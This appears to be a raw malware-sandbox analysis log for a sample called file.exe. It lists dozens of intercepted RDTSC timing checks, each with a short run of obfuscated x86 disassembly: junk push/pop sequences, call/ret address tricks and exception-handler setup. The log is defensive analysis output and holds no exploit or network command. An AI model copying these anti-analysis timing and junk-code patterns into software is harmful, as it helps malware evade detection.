Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B1BD second address: A7B1E7 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B312295E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c jc 00007F6B312295F2h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B269 second address: A7B317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F6B30D7C398h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jmp 00007F6B30D7C3A0h 0x00000028 mov ecx, dword ptr [ebp+122D2E80h] 0x0000002e mov edx, dword ptr [ebp+122D3D26h] 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 mov edx, 61A13000h 0x0000003c pop edx 0x0000003d call 00007F6B30D7C399h 0x00000042 jg 00007F6B30D7C39Eh 0x00000048 push eax 0x00000049 jne 00007F6B30D7C39Eh 0x0000004f mov eax, dword ptr [esp+04h] 0x00000053 jp 00007F6B30D7C3A4h 0x00000059 mov eax, dword ptr [eax] 0x0000005b jns 00007F6B30D7C3A2h 0x00000061 mov dword ptr [esp+04h], eax 0x00000065 push eax 0x00000066 push edx 0x00000067 je 00007F6B30D7C398h 0x0000006d pushad 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B317 second address: A7B3BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6B312295F3h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e and edx, dword ptr [ebp+122D2FC8h] 0x00000014 push 00000003h 0x00000016 or edx, dword ptr [ebp+122D30C0h] 0x0000001c push 00000000h 0x0000001e jmp 00007F6B312295F0h 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F6B312295E8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 0000001Bh 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f jmp 00007F6B312295ECh 0x00000044 call 00007F6B312295E9h 0x00000049 jmp 00007F6B312295EEh 0x0000004e push eax 0x0000004f jmp 00007F6B312295EBh 0x00000054 mov eax, dword ptr [esp+04h] 0x00000058 push ecx 0x00000059 push esi 0x0000005a push eax 0x0000005b pop eax 0x0000005c pop esi 0x0000005d pop ecx 0x0000005e mov eax, dword ptr [eax] 0x00000060 push eax 0x00000061 push edx 0x00000062 push eax 0x00000063 push edx 0x00000064 jnc 00007F6B312295E6h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B3BD second address: A7B3C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B3C1 second address: A7B3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B503 second address: A7B51B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B51B second address: A7B523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7B606 second address: A7B60B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B395 second address: A9B399 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B6B1 second address: A9B6B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9B6B7 second address: A9B722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6B312295F8h 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F6B312295F9h 0x00000010 pop eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007F6B312295FBh 0x0000001a push edi 0x0000001b jmp 00007F6B312295F3h 0x00000020 pop edi 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BCB0 second address: A9BCB5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BCB5 second address: A9BCBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BCBB second address: A9BCC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF68 second address: A9BF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9BF6C second address: A9BF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C0D9 second address: A9C0E2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C24F second address: A9C267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnc 00007F6B30D7C396h 0x00000011 jbe 00007F6B30D7C396h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C267 second address: A9C276 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B312295EAh 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72102 second address: A7210A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CA17 second address: A9CA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CA1D second address: A9CA32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F6B30D7C396h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F6B30D7C396h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CA32 second address: A9CA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CA36 second address: A9CA41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CA41 second address: A9CA45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CA45 second address: A9CA68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A4h 0x00000007 ja 00007F6B30D7C396h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CBE8 second address: A9CBEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CBEE second address: A9CBF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9CD6A second address: A9CD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9EE78 second address: A9EE7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA3DB6 second address: AA3DC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4271 second address: AA428A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F6B30D7C398h 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F6B30D7C398h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4441 second address: AA4449 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA466E second address: AA4679 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F6B30D7C396h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9EDC second address: AA9F38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F6B312295E6h 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F6B312295F5h 0x00000014 jmp 00007F6B312295F1h 0x00000019 js 00007F6B312295E6h 0x0000001f popad 0x00000020 pop edx 0x00000021 pop eax 0x00000022 js 00007F6B31229604h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F6B312295F0h 0x0000002f jnp 00007F6B312295E6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6155E second address: A61564 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61564 second address: A6157A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F6B312295EFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6157A second address: A61588 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A61588 second address: A6158C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6158C second address: A6159A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A6159A second address: A6159E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9444 second address: AA9451 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9451 second address: AA9456 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9456 second address: AA945C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA945C second address: AA9460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9A19 second address: AA9A23 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9B85 second address: AA9B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9B8B second address: AA9B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F6B30D7C396h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9B9E second address: AA9BB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9D35 second address: AA9D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9D40 second address: AA9D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9D50 second address: AA9D5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 je 00007F6B30D7C396h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA9D5E second address: AA9D68 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6B312295FFh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABD60 second address: AABD9B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6B30D7C3A1h 0x00000008 jmp 00007F6B30D7C39Bh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007F6B30D7C3A0h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 pushad 0x0000001a jmp 00007F6B30D7C39Ch 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABD9B second address: AABD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AABD9F second address: AABDDE instructions: 0x00000000 rdtsc 0x00000002 js 00007F6B30D7C396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jbe 00007F6B30D7C3A2h 0x00000013 jmp 00007F6B30D7C39Ch 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c jbe 00007F6B30D7C3C7h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F6B30D7C3A4h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACB51 second address: AACB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6B312295EBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AACB65 second address: AACB80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6B30D7C3A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE82 second address: AADE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AADE87 second address: AADEE5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b movzx esi, cx 0x0000000e mov dword ptr [ebp+122D3D61h], edi 0x00000014 push 00000000h 0x00000016 mov esi, 3AEA9AAAh 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007F6B30D7C398h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ch 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 mov di, 4E36h 0x0000003b jmp 00007F6B30D7C39Eh 0x00000040 push eax 0x00000041 pushad 0x00000042 push edx 0x00000043 push eax 0x00000044 pop eax 0x00000045 pop edx 0x00000046 pushad 0x00000047 pushad 0x00000048 popad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF7C9 second address: AAF7CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF7CF second address: AAF7D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB05A5 second address: AB05AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF7D3 second address: AAF7D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB10B7 second address: AB10BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB10BB second address: AB10C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB274F second address: AB2755 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2755 second address: AB2768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jo 00007F6B30D7C3A0h 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB45C5 second address: AB45CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6B312295E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB45CF second address: AB45EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C3A9h 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C10 second address: A64C16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C16 second address: A64C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C1D second address: A64C22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C22 second address: A64C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F6B30D7C396h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A64C33 second address: A64C37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8122 second address: AB8128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8128 second address: AB812C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB837C second address: AB8381 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9265 second address: AB9269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB20A second address: ABB20E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9269 second address: AB926F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB926F second address: AB9274 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD3BF second address: ABD3C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9274 second address: AB9287 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F6B30D7C396h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE239 second address: ABE25B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B312295F7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB9287 second address: AB928C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE25B second address: ABE25F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB928C second address: AB9336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6B30D7C39Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F6B30D7C398h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 mov dword ptr [ebp+1246AA8Dh], edx 0x0000002a or dword ptr [ebp+122D1FD4h], ecx 0x00000030 push dword ptr fs:[00000000h] 0x00000037 mov ebx, edx 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 jmp 00007F6B30D7C39Fh 0x00000045 mov eax, dword ptr [ebp+122D1171h] 0x0000004b push 00000000h 0x0000004d push ebp 0x0000004e call 00007F6B30D7C398h 0x00000053 pop ebp 0x00000054 mov dword ptr [esp+04h], ebp 0x00000058 add dword ptr [esp+04h], 0000001Dh 0x00000060 inc ebp 0x00000061 push ebp 0x00000062 ret 0x00000063 pop ebp 0x00000064 ret 0x00000065 or ebx, 7AAEFE00h 0x0000006b push FFFFFFFFh 0x0000006d or dword ptr [ebp+122D2747h], esi 0x00000073 push eax 0x00000074 jc 00007F6B30D7C3ADh 0x0000007a pushad 0x0000007b jmp 00007F6B30D7C39Fh 0x00000080 push eax 0x00000081 push edx 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE25F second address: ABE265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
